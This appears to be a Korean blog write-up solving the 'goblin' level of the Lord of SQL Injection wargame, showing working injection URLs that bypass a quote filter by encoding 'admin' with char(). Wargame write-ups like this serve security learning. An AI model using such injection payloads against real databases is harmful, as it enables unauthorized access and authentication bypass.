LOS goblin writeup
지금 id에 guest가 있고,
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin");
id가 admin이 되면 풀리는 문제인듯하다!!
http://los.rubiya.kr/goblin_e5afb87a6716708e3af46a849517afdc.php?id=admin&no=1234
이렇게 넣어도
query : select id from prob_goblin where id='guest' and no=1234
쿼리 guest는 바뀌지 않는다. 음...guest를 어떻게 없앨까...?
처음에는 주석으로 guest를 없애서 admin을 넣는 문제인거같은데 도저히 그건 모르겠다...
지금까지 문제와는 다르게 pw가 아니라 no인데 no의 역할은 무엇일지 궁금해졌다.
no에 1을 넣으니 아래와 같이 hello guest가 뜬다. 1 이외에 넣으니 hello guest가 사라졌다.
http://los.rubiya.kr/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id='admin' 이렇게 하니
No Quotes ~_~
이렇게 뜸.
http://los.rubiya.kr/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id=admin
이렇게 해보니
query : select id from prob_goblin where id='guest' and no=2 or id=admin
이렇게 추가만 되고 안됨.
그래서 찾아보니 char를 사용해서 아스키코드로 넣어주라고 함!
query : select id from prob_goblin where id='guest' and no=2 or id=char(97 100 109 105 110)
char사용법을 몰라서 이러한 뻘짓도 해보았다...뷁
http://los.rubiya.kr/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id=char(97,100,109,105,110)
이렇게 하면 성공!! 우왕
'WebHacking > Lord of SQL injection Write-Up' 카테고리의 다른 글
LOS cobolt writeup (0) | 2018.07.20 |
---|---|
Los gremlin writeup (0) | 2018.07.20 |